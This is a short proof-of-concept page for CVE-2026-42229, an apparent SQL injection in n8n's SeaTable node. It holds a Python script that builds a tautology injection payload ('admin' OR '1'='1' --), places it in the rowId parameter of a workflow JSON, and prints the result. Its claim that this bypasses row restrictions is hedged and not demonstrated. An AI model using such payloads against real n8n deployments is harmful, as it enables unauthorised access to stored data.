CVE-2026-42229 n8n SeaTable节点SQL注入漏洞

# PoC for CVE-2026-42229: n8n SeaTable Node SQL Injection # This script demonstrates how a malicious payload could be crafted # to exploit the SQL injection vulnerability in the SeaTable node. import json # The vulnerability occurs when user input is passed to SeaTable node operations # like 'row:search' or 'row:get' without sanitization. # Normal input might look like: "search_term" # Malicious input to bypass filtering and extract data: payload_input = "admin' OR '1'='1' --" # Simulating the workflow execution object structure in n8n malicious_workflow_data = { "nodes": [ { "parameters": { "operation": "row:get", "rowId": payload_input # Vulnerable parameter }, "name": "SeaTable", "type": "n8n-nodes-base.seatable", "typeVersion": 1, "position": [250, 300] } ] } print(f"Constructed malicious input for SeaTable node: {payload_input}") print("If processed by a vulnerable n8n version, this input would be concatenated directly into the SQL query.") print("Resulting SQL logic would likely bypass intended row restrictions.") print(json.dumps(malicious_workflow_data, indent=2))